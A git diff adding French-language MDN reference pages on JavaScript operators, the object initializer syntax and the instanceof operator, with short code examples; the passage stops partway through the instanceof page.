+
+<div class="note">
+<p><strong>Note :</strong> <code>=&gt;</code> n'est pas un opérateur. Il s'agit de la notation utilisée pour <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es">les fonctions fléchées</a>.</p>
+</div>
+
+<h3 id="Opérateurs_d'égalité">Opérateurs d'égalité</h3>
+
+<p>Un opérateur d'égalité considère deux opérandes et produit un résultat booléen basé sur le résultat de la comparaison.</p>
+
+<dl>
+ <dt>{{jsxref("Opérateurs/Opérateurs_de_comparaison", "==", "#Egalit.C3.A9_(.3D.3D)")}}</dt>
+ <dd>Opérateur d'égalité faible.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_de_comparaison", "!=", "#Inequality_(!.3D)")}}</dt>
+ <dd>Opérateur d'inégalité faible.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_de_comparaison", "===", "#Identity_.2F_strict_equality_(.3D.3D.3D)")}}</dt>
+ <dd>Opérateur d'égalité stricte.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_de_comparaison", "!==", "#Non-identity_.2F_strict_not_equal_(!.3D.3D)")}}</dt>
+ <dd>Opérateur d'inégalité stricte.</dd>
+</dl>
+
+<h3 id="Opérateurs_de_décalage_binaires">Opérateurs de décalage binaires</h3>
+
+<p>Ces opérations permettent de décaler les bits contenus dans l'opérande.</p>
+
+<dl>
+ <dt>{{jsxref("Opérateurs/Opérateurs_binaires", "&lt;&lt;", "#.3C.3C_.28d.C3.A9calage_.C3.A0_gauche.29")}}</dt>
+ <dd>Opérateur binaire de décalage à gauche.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_binaires", "&gt;&gt;", "#.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_propagation_du_signe.29")}}</dt>
+ <dd>Opérateur binaire de décalage à droite.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_binaires", "&gt;&gt;&gt;", "#.3E.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_insertion_de_z.C3.A9ros.29")}}</dt>
+ <dd>Opérateur binaire de décalage à droite non-signé.</dd>
+</dl>
+
+<h3 id="Opérateurs_binaires_logiques">Opérateurs binaires logiques</h3>
+
+<p>Les opérateurs binaires logiques traitent leurs opérandes comme des valeurs sur 32 bits et renvoient une valeur numérique JavaScript correspondant au résultat.</p>
+
+<dl>
+ <dt>{{jsxref("Opérateurs/Opérateurs_binaires", "&amp;", "#&amp;_.28ET_binaire.29")}}</dt>
+ <dd>ET binaire (<em>AND</em>).</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_binaires", "|", "#|_.28OU_binaire.29")}}</dt>
+ <dd>OU binaire (<em>OR</em>).</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_binaires", "^", "#.5E_.28XOR_binaire.29")}}</dt>
+ <dd>OU exclusif binaire (<em>XOR</em>).</dd>
+</dl>
+
+<h3 id="Opérateurs_logiques">Opérateurs logiques</h3>
+
+<p>Les opérateurs logiques sont généralement utilisés avec des valeurs booléennes et renvoient une valeur booléenne, résultat de l'opération.</p>
+
+<dl>
+ <dt>{{jsxref("Opérateurs/Opérateurs_logiques", "&amp;&amp;", "#ET_logique_.28&amp;&amp;.29")}}</dt>
+ <dd>ET logique (<em>AND</em>).</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_logiques", "||", "#OU_logique_.28||.29")}}</dt>
+ <dd>OU logique (<em>OR</em>).</dd>
+</dl>
+
+<h3 id="Opérateur_conditionnel_ternaire">Opérateur conditionnel ternaire</h3>
+
+<dl>
+ <dt>{{jsxref("Opérateurs/L_opérateur_conditionnel", "(condition ? siVrai : siFaux)")}}</dt>
+ <dd>
+ <p>Cet opérateur renvoie une des deux valeurs fournie en fonction de la valeur logique de la condition.</p>
+ </dd>
+</dl>
+
+<h3 id="Opérateurs_d'affectation">Opérateurs d'affectation</h3>
+
+<p>Un opérateur d'affectation permet d'affecter une valeur à son opérande gauche en se basant sur la valeur de l'opérande droit.</p>
+
+<dl>
+ <dt>{{jsxref("Opérateurs/Opérateurs_d_affectation", "=", "#Assignment")}}</dt>
+ <dd>Opérateur d'affectation.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_d_affectation", "*=", "#Multiplication_assignment")}}</dt>
+ <dd>Affectation après multiplication.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_d_affectation", "/=", "#Division_assignment")}}</dt>
+ <dd>Affectation après division.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_d_affectation", "%=", "#Remainder_assignment")}}</dt>
+ <dd>Affectation du reste.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_d_affectation", "+=", "#Addition_assignment")}}</dt>
+ <dd>Affectation après addition.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_d_affectation", "-=", "#Subtraction_assignment")}}</dt>
+ <dd>Affectation après soustraction.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_d_affectation", "&lt;&lt;=", "#Left_shift_assignment")}}</dt>
+ <dd>Affectation après décalage à gauche.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_d_affectation", "&gt;&gt;=", "#Right_shift_assignment")}}</dt>
+ <dd>Affectation après décalage à droite.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_d_affectation", "&gt;&gt;&gt;=", "#Unsigned_right_shift_assignment")}}</dt>
+ <dd>Affectation après décalage à droite non-signé.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_d_affectation", "&amp;=", "#Bitwise_AND_assignment")}}</dt>
+ <dd>Affectation après ET binaire.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_d_affectation", "^=", "#Bitwise_AND_assignment")}}</dt>
+ <dd>Affectation après OU exclusif binaire.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_d_affectation", "|=","#Bitwise_OR_assignment")}}</dt>
+ <dd>Affectation après OU binaire.</dd>
+ <dt>{{jsxref("Opérateurs/Affecter_par_décomposition", "[a, b] = [1, 2]")}} {{jsxref("Opérateurs/Affecter_par_décomposition", "{a, b} = {a:1, b:2}")}}</dt>
+ <dd>
+ <p>L'affectation par décomposition permet de d'affecter des propriétés d'un objet ou des éléments d'un tableau à plusieurs variables. Cela permet d'utiliser une syntaxe semblable aux littéraux de tableaux/objets.</p>
+ </dd>
+</dl>
+
+<h3 id="Opérateur_virgule">Opérateur virgule</h3>
+
+<dl>
+ <dt>{{jsxref("Opérateurs/L_opérateur_virgule", ",")}}</dt>
+ <dd>L'opérateur virgule permet d'évaluer plusieurs expressions en une seule instruction et de renvoyer le résultat de la dernière expression.</dd>
+</dl>
+
+<h3 id="Fonctionnalités_non-standardsnon-standard_inline">Fonctionnalités non-standards{{non-standard_inline}}</h3>
+
+<dl>
+ <dt>{{non-standard_inline}}{{jsxref("Opérateurs/Expression_fermetures", "Expression de fermetures", "", 1)}}</dt>
+ <dd>La syntaxe d'expression de fermeture est un raccourci pour écrire des fonctions simples.</dd>
+ <dt>{{non-standard_inline}}{{jsxref("Opérateurs/Expression_fonction_génératrice_historique", "", 1)}}</dt>
+ <dd>Le mot-clé <code>function</code> peut être utilisé afin de définir une fonction génératrice historique. au sein d'une expression.</dd>
+ <dt>{{non-standard_inline}} {{jsxref("Opérateurs/Compréhensions_de_tableau", "[for (x of y) x]")}}</dt>
+ <dd>Compréhensions de tableau.</dd>
+ <dt>{{non-standard_inline}}{{jsxref("Opérateurs/Compréhensions_de_générateur", "(for (x of y) y)")}}</dt>
+ <dd>Compréhensions de générateurs.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1','#sec-11','Expressions')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11', 'Expressions')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Nouveaux éléments : opérateur de décomposition, affectation par décomposition, mot-clé <code>super</code> .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/JavaScript/Reference/Operators/Pr%C3%A9c%C3%A9dence_des_op%C3%A9rateurs">La précédence des opérateurs</a> en JavaScript</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/initialisateur_objet/index.html b/files/fr/web/javascript/reference/opérateurs/initialisateur_objet/index.html
new file mode 100644
index 0000000000..6aa4d3121f
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/initialisateur_objet/index.html
@@ -0,0 +1,305 @@
+---
+title: Initialisateur d'objet
+slug: Web/JavaScript/Reference/Opérateurs/Initialisateur_objet
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/Object_initializer
+---
+<div>{{JsSidebar("Operators")}}</div>
+
+<p>Il est possible d'initialiser un objet en utilisant les notations <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object"><code>new Object()</code></a>,<code> <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/create">Object.create()</a></code>, ou grâce à un littéral (appelée initialisateur). Un initialisateur d'objet est une liste contenant plusieurs (éventuellement 0) propriétés, séparées par des virgules, et leurs valeurs associées, cette liste étant entourée d'accolades (<code>{}</code>).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-objectinitializer.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var o = {};
+var o = { a: "toto", b: 42, c: {} };
+
+var a = "toto", b = 42, c = {};
+var o = { a: a, b: b, c: c };
+
+var o = {
+  <var>property: function </var>(<var>paramètres</var>) {},
+  get property() {},
+  set property(<var>valeur</var>) {}
+};
+</pre>
+
+<h3 id="Nouvelles_notations_ECMAScript_2015_(ES6)">Nouvelles notations ECMAScript 2015 (ES6)</h3>
+
+<p>ECMAScript 2015 (ES6) introduit de nouvelles notations. Pour plus d'informations sur la compatibilité de ces notations avec les différents environnements, se référer au tableau de compatibilité ci-après.</p>
+
+<pre class="brush: js">// Raccourcis pour les noms de propriétés (ES2015)
+var a = "toto", b = 42, c = {};
+var o = { a, b, c };
+
+// Raccourcis pour les noms de méthodes(ES2015)
+var o = {
+  <var>property</var>(<var>paramètres</var>) {}
+};
+
+// Noms calculés pour les propriétés (ES2015)
+var prop = "toto";
+var o = {
+  [prop]: "hey",
+  ["tr" + "uc"]: "ho",
+};</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Un initialisateur d'objet est une expression qui permet de décrire l'initialisation d'un {{jsxref("Object")}}. Les objets sont constitués de propriétés qui permettent de les décrire. Les valeurs des propriétés d'un objet peuvent être construites à partir de <a href="/fr/docs/Web/JavaScript/Structures_de_données#Les_valeurs_primitives">types de données primitifs</a> ou à partir d'autres objets.</p>
+
+<h3 id="Créer_des_objets">Créer des objets</h3>
+
+<p>On peut créer un objet sans aucune propriété grâce à l'expression suivante :</p>
+
+<pre class="brush: js">var objet = {};</pre>
+
+<p>Cependant, en utilisant un littéral ou un initialisateur, on peut créer des objets disposant de propriétés rapidement. Il suffit d'inscrire une liste de clés-valeurs séparées par des virgules. Le fragment de code qui suit permet de créer un objet avec trois propriétés identifiées par les clés <code>"toto"</code>, <code>"âge"</code> et <code>"machin"</code>. Les valeurs respectives de ces différentes propriétés sont : la chaîne de caractères <code>"truc"</code>, le nombre <code>42</code> et un autre objet.</p>
+
+<pre class="brush: js">var object = {
+  toto: 'truc',
+  âge: 42,
+  machin: { maProp: 12 },
+}</pre>
+
+<h3 id="Accéder_à_des_propriétés">Accéder à des propriétés</h3>
+
+<p>Après la création d'un objet, vous pourrez avoir besoin de consulter ou de modifier ses propriétés. Il est possible d'accéder aux propriétés d'un objet en utilisant un point ou des crochets. Voir la page sur les <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres">accesseurs de propriétés</a> pour plus d'information.</p>
+
+<pre class="brush: js">object.toto; // "truc"
+object['âge']; // 42
+
+object.toto = 'machin';
+</pre>
+
+<h3 id="Définir_des_propriétés">Définir des propriétés</h3>
+
+<p>On a déjà vu comment on pouvait utiliser la syntaxe de l'initialisateur pour définir des propriétés. Il arrive souvent de vouloir utiliser des variables comme propriétés d'un objet. C'est pourquoi on peut trouver le code suivant :</p>
+
+<pre class="brush: js">var a = 'toto',
+    b = 42,
+    c = {};
+
+var o = {
+  a: a,
+  b: b,
+  c: c
+};</pre>
+
+<p>Avec ECMAScript 2015 (ES6), on peut utiliser une notation plus courte pour un résultat égal :</p>
+
+<pre class="brush: js">var a = 'toto',
+    b = 42,
+    c = {};
+
+// Raccourcis sur les noms de propriétés (ES2015)
+var o = { a, b, c };
+
+// Autrement dit
+console.log((o.a === { a }.a)); // true
+</pre>
+
+<h4 id="Les_duplicatas_et_les_noms_de_propriétés">Les duplicatas et les noms de propriétés</h4>
+
+<p>Si le même nom est utilisé plusieurs fois pour différentes propriétés, ce sera la dernière propriété qui sera prise en compte :</p>
+
+<pre class="brush: js">var a = {x: 1, x: 2};
+console.log(a); // { x: 2}
+</pre>
+
+<p>Le mode strict d'ECMAScript 5 renvoyait une exception {{jsxref("SyntaxError")}} lorsque plusieurs propriétés avaient le même nom. ECMAScript 2015 (ES6) permettant de créer des propriétés avec des noms qui sont calculés à l'exécution, cette restriction a été retirée.</p>
+
+<pre class="brush: js">function vérifierSémantiqueES2015(){
+  'use strict';
+  try {
+    ({ prop: 1, prop: 2 });
+
+    // Aucune erreur, la sémantique en cours consiste à accepter les propriétés dupliquées
+    return true;
+  } catch (e) {
+    // Une erreur est renvoyée : les duplicatas sont interdits en mode strict
+    return false;
+  }
+}</pre>
+
+<h3 id="Définitions_de_méthodes">Définitions de méthodes</h3>
+
+<p>Une propriété d'un objet peut être une <a href="/fr/docs/Web/JavaScript/Reference/Functions">function</a>, un <a href="/fr/docs/Web/JavaScript/Reference/Functions/get">accesseur</a> ou un <a href="/fr/docs/Web/JavaScript/Reference/Functions/set">mutateur</a> :</p>
+
+<pre class="brush: js">var o = {
+  <var>property: function </var>(<var>paramètres</var>) {},
+  get <var>property</var>() {},
+  set <var>property</var>(<var>valeur</var>) {}
+};</pre>
+
+<p>Avec ECMAScript 2015 (ES6), une notation raccourcie permet de ne plus utiliser le mot-clé "<code>function</code>".</p>
+
+<pre class="brush: js">// Raccourci pour les noms de méthodes (ES2015)
+var o = {
+  <var>property</var>(<em>paramètres</em>) {},
+  *<var>generator</var>() {}
+};</pre>
+
+<p>Ou encore :</p>
+
+<pre class="brush: js">var o = {
+  *generator() {
+    ...
+  }
+};</pre>
+
+<p>En utilisant uniquement ECMAScript 5, on aurait écrit :</p>
+
+<p><em>(Il n'y a pas de function génératrice en ECMAScript5, mais l'exemple permet de comprendre l'évolution de la syntaxe) :</em></p>
+
+<pre class="brush: js">var o = {
+  generator: function* (){}
+};
+</pre>
+
+<p>Pour plus d'informations et d'exemples sur les méthodes, voir la page concernant les<a href="/fr/docs/Web/JavaScript/Reference/Functions/Method_definitions"> définitions de méthode</a>.</p>
+
+<h3 id="Noms_de_propriétés_calculés">Noms de propriétés calculés</h3>
+
+<p>Avec ECMAScript 2015 (ES6), on peut utiliser un initialisateur et avoir des noms de propriétés qui soient calculés lors de l'exécution. Ainsi, en plaçant une expression entre crochets <code>[]</code>, celle-ci sera calculée pour déterminer le nom de la propriété. Cette notation est la symétrique des crochets utilisés pour accéder aux propriétés. Il est désormais possible d'utiliser cette notation dans les littéraux objets :</p>
+
+<pre class="brush: js">// Calcul des noms de propriétés (ES2015)
+var i = 0;
+var a = {
+  ['toto' + ++i]: i,
+  ['toto' + ++i]: i,
+  ['toto' + ++i]: i
+};
+
+console.log(a.toto1); // 1
+console.log(a.toto2); // 2
+console.log(a.toto3); // 3
+
+var param = 'taille';
+var config = {
+  [param]: 12,
+  ['mobile' + param.charAt(0).toUpperCase() + param.slice(1)]: 4
+};
+
+console.log(config); // { taille: 12, mobileTaille: 4 }</pre>
+
+<h3 id="Décomposition_des_propriétés">Décomposition des propriétés</h3>
+
+<p>La proposition de la décomposition des propriétés à ECMAScript (au niveau 4, finalisée) vise à permettre la décomposition des propriétés dans les littéraux objets. Cela permet de copier les propriétés énumérables directes à partir d'un objet source vers un nouvel objet.</p>
+
+<p>Le clonage superficiel (sans rattacher le prototype) ou la fusion d'objets pourra désormais être écrite de façon plus concise qu'avec {{jsxref("Object.assign()")}}.</p>
+
+<pre class="brush: js">var obj1 = { toto: 'truc', x: 42 };
+var obj2 = { toto: 'bidule', y: 13 };
+
+var clone = { ...obj1 };
+// Object { toto: 'truc', x: 42 }
+
+var fusion = { ...obj1, ...obj2 };
+// Object { toto: 'bidule', x: 42, y: 13 };
+</pre>
+
+<p>On notera que la méthode {{jsxref("Object.assign()")}} déclenche <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/set">les mutateurs</a>, ce qui n'est pas le cas de l'opérateur de décomposition.</p>
+
+<h3 id="Changement_de_prototype">Changement de prototype</h3>
+
+<p>Définir une propriété avec la syntaxe <code>__proto__: valeur</code> ou <code>"__proto__": valeur</code> ne permet pas de créer une propriété avec le nom <code>__proto__</code>. Si la valeur fournie est un objet ou est <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/null"><code>null</code></a>, cela modifie le <code>[[Prototype]]</code> de l'objet. (Si la valeur fournie n'est pas un objet ou n'est pas null, l'objet ne sera pas modifié.)</p>
+
+<pre class="brush: js">var obj1 = {};
+assert(Object.getPrototypeOf(obj1) === Object.prototype);
+
+var obj2 = { __proto__: null };
+assert(Object.getPrototypeOf(obj2) === null);
+
+var protoObj = {};
+var obj3 = { '__proto__': protoObj };
+assert(Object.getPrototypeOf(obj3) === protoObj);
+
+var obj4 = { __proto__: "not an object or null" };
+assert(Object.getPrototypeOf(obj4) === Object.prototype);
+assert(!obj4.hasOwnProperty("__proto__"));
+</pre>
+
+<p>On ne peut modifier le prototype qu'une seule fois pour une même notation littérale. Toute tentative pour modifier le prototype plusieurs fois renverra une erreur de syntaxe.</p>
+
+<p>Les définitions de propriétés qui n'utilisent pas les deux points ne permettent pas de modifier le prototype, elles définieront une propriété de façon classique.</p>
+
+<pre class="brush: js">var __proto__ = 'variable';
+
+var obj1 = { __proto__ };
+assert(Object.getPrototypeOf(obj1) === Object.prototype);
+assert(obj1.hasOwnProperty('__proto__'));
+assert(obj1.__proto__ === 'variable');
+
+var obj2 = { __proto__() { return 'hello'; } };
+assert(obj2.__proto__() === 'hello');
+
+var obj3 = { ['__prot' + 'o__']: 17 };
+assert(obj3.__proto__ === 17);
+</pre>
+
+<h2 id="Notation_littérale_et_JSON">Notation littérale et JSON</h2>
+
+<p>La notation utilisant un littéral objet n'est pas identique à celle utilisée par la <strong>J</strong>ava<strong>S</strong>cript <strong>O</strong>bject <strong>N</strong>otation (<a href="/fr/docs/JSON">JSON</a>). Bien que ces notations se ressemblent, il existe certaines différences :</p>
+
+<ul>
+ <li>JSON ne permet de définir des propriétés qu'en utilisant la syntaxe <code>"propriété": valeur</code>. Le nom de la propriété doit être entouré de double-quotes et la définition de la propriété ne peut pas être raccourcie.</li>
+ <li>En JSON les valeurs ne peuvent être uniquement que des chaînes de caractères, des nombres, des tableaux, <code>true</code>, <code>false</code>, <code>null</code>, ou tout autre objet (JSON).</li>
+ <li>Une valeur de fonction (voir le paragraphe "Méthodes" ci-avant) ne peut pas être affectée comme valeur en JSON.</li>
+ <li>Les objets {{jsxref("Date")}} seront convertis en chaînes de caractères avec {{jsxref("JSON.parse()")}}.</li>
+ <li>{{jsxref("JSON.parse()")}} rejètera les noms de propriétés calculés et renverra une erreur dans ce cas.</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Functions/get">Ajout des <em>getter</em> et </a><em><a href="/fr/docs/Web/JavaScript/Reference/Functions/set">setter</a></em> (accesseur/mutateur).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object-initializer', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Ajout des raccourcis pour les noms de méthodes et propriétés et des noms de propriétés calculés.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object-initializer', 'Object Initializer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.object_initializer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres">Accesseurs de propriétés</a></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_get">get</a></code> / <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_set">set</a></code></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Définition_de_méthode">Définitions de méthode</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale">Grammaire lexicale</a> de JavaScript</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/instanceof/index.html b/files/fr/web/javascript/reference/opérateurs/instanceof/index.html
new file mode 100644
index 0000000000..1db76a5bbd
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/instanceof/index.html
@@ -0,0 +1,173 @@
+---
+title: instanceof
+slug: Web/JavaScript/Reference/Opérateurs/instanceof
+tags:
+  - JavaScript
+  - Operator
+  - Prototype
+  - Reference
+  - instanceof
+translation_of: Web/JavaScript/Reference/Operators/instanceof
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>L'<strong>opérateur <code>instanceof</code></strong> permet de tester si un objet possède, dans sa chaîne de prototype, la propriété <code>prototype</code> d'un certain constructeur.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-instanceof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>objet</em> instanceof <em>constructeur</em></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>objet</code></dt>
+ <dd>L'objet qu'on souhaite analyser.</dd>
+</dl>
+
+<dl>
+ <dt><code>constructeur</code></dt>
+ <dd>La fonction dont on souhaite vérifier la présence dans la chaîne de prototypes.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>L'opérateur <code>instanceof</code> teste la présence de <code>constructeur.prototype</code> dans la chaîne de prototypes d'<code>objet</code>.</p>
+
+<pre class="brush: js notranslate">function C(){} // Définition du constructeur
+function D(){} // Définition d'un autre constructeur
+
+var o = new C();
+
+// true, car : Object.getPrototypeOf(o) === C.prototype
+o instanceof C;
+
+// false, car D.prototype n'existe pas dans la chaîne de prototype de o
+o instanceof D;
+
+o instanceof Object; // true, car:
+C.prototype instanceof Object // true
+
+C.prototype = {};
+var o2 = new C();
+
+o2 instanceof C; // true
+
+// false, car C.prototype n'existe plus dans la chaîne de prototype de o
+o instanceof C;
+
+D.prototype = new C(); // Utilisation de l'héritage
+var o3 = new D();
+o3 instanceof D; // true
+o3 instanceof C; // true car C.prototype fait partie de la chaîne de o3
+</pre>
+
+<p>À noter que la valeur retournée par <code>instanceof</code> peut être différente suite à un changement de la propriété <code>prototype</code> du constructeur, notamment via la méthode <code>Object.setPrototypeOf()</code>. On peut aussi utiliser la pseudo-propriété <code>__proto__</code> qui n'était pas standard avant ECMAScript 2015.</p>
+
+<h3 id="instanceof_dans_dautres_contextes_frames_ou_fenêtres"><code>instanceof</code> dans d'autres contextes (frames ou fenêtres)</h3>
+
+<p>Différents niveaux d'intégrations ont différents environnements. Cela signifie que les valeurs retournées sont différentes (objet globaux différents, constructeurs différents, etc.). Cela peut engendrer des résultats inattendus. Par exemple, <code>[] instanceof window.frames[0].Array</code> renverra <code>false</code>, car <code>Array !== </code><code>window.frames[0].Array</code> et que les tableaux héritent de leur constructeur.</p>
+
+<p>Cela peut être contre-intuitif au début, mais lorsqu'il est nécessaire de travailler avec plusieurs frames ou fenêtres, et que des objets sont transférés via des fonctions, cela sera un obstacle valide et important. Par contre, il est tout à fait possible d'utiliser <code>Array.isArray(myObj)</code> pour vérifier de manière sécurisée qu'un tableau est effectivement un tableau.</p>
+
+<p>Ainsi, pour vérifier qu'un <a href="/fr/docs/Web/API/Node">nœud</a> est bien un objet de type <a href="/fr/docs/Web/API/SVGElement">SVGElement</a> dans un autre contexte, on pourra utiliser <code>monNœud instanceof monNœud.documentMaitre.vue.SVGElement</code>.</p>
+
+<div class="note"><strong>Note aux développeurs Mozilla :</strong><br>
+Dans un code utilisant XPCOM, <code>instanceof</code> a un comportement particulier : <code>obj instanceof </code><em><code>xpcomInterface</code></em> (ex : <code>Components.interfaces.nsIFile</code>) appelle <code>obj.QueryInterface(<em>xpcomInterface</em>)</code> et retourne <code>true</code> si QueryInterface réussit. Un effet indésirable à cela est qu'il est possible d'utiliser les propriétés de <em><code>xpcomInterface</code></em> sur <code>obj</code> après un test réussi d'<code>instanceof</code>. Contrairement au JavaScript classique, <code>obj instanceof xpcomInterface </code>fonctionnera comme prévu même si <code>obj</code> appartient à un autre niveau d'organisation (fenêtre, frame, etc.).</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Démonstration_que_String_et_Date_sont_de_type_Object_et_cas_aux_limites_des_littéraux">Démonstration que <code>String</code> et <code>Date</code> sont de type <code>Object</code> et cas aux limites des littéraux</h3>
+
+<p>Le code suivant utilise <code>instanceof</code> pour démontrer que les objets <code>String</code> et <code>Date</code> sont aussi de type <code>Object</code> (ils dérivent d'<code>Object</code>).</p>
+
+<p>Cependant, les objets créés à partir de littéraux objets sont une exception : en effet, bien que leur prototype ne soit pas défini, <code>instanceof Object</code> renvoie <code>true</code>.</p>
+
+<pre class="brush: js notranslate">var chaîneSimple = "Une chaîne simple";
+var maChaîne  = new String();
+var newChaîne = new String("Chaîne créée avec un constructeur");
+var maDate    = new Date();
+var monObjet  = {};
+var monNonObjet = Object.create(null);
+
+chaîneSimple instanceof String; //false car le prototype vaut undefined
+maChaîne  instanceof String; // true
+newChaîne instanceof String; // true
+maChaîne  instanceof Object; // true
+
+monObjet instanceof Object;  // true, bien que le protoype soit undefined
+({}) instanceof Object;      // true, comme pour le cas précédent
+monNonObjet instance Object; // false
+
+maChaîne instanceof Date;   // false
+
+maDate instanceof Date;     // true
+maDate instanceof Object;   // true
+maDate instanceof String;   // false
+</pre>
+
+<h3 id="Démonstration_que_mavoiture_est_de_type_Voiture_et_de_type_Object">Démonstration que <code>mavoiture</code> est de type <code>Voiture</code> et de type <code>Object</code></h3>
+
+<p>Le code suivant créé un objet de type <code>Voiture</code> et une instance de cet objet, <code>mavoiture</code>. L'opérateur <code>instanceof</code> montre que l'objet <code>mavoiture</code> est de type <code>Voiture</code> et de type <code>Object</code>.</p>
+
+<pre class="brush: js notranslate">function Voiture(fabricant, modele, annee) {
+  this.fabricant = fabricant;
+  this.modele = modele;
+  this.annee = annee;
+}
+var mavoiture = new Voiture("Citroën", "C3", 2006);
+var a = mavoiture instanceof Voiture; // retourne true
+var b = mavoiture instanceof Object;  // retourne true
+</pre>
+
+<h3 id="Attention_à_la_précédence_des_opérateurs">Attention à la précédence des opérateurs</h3>
+
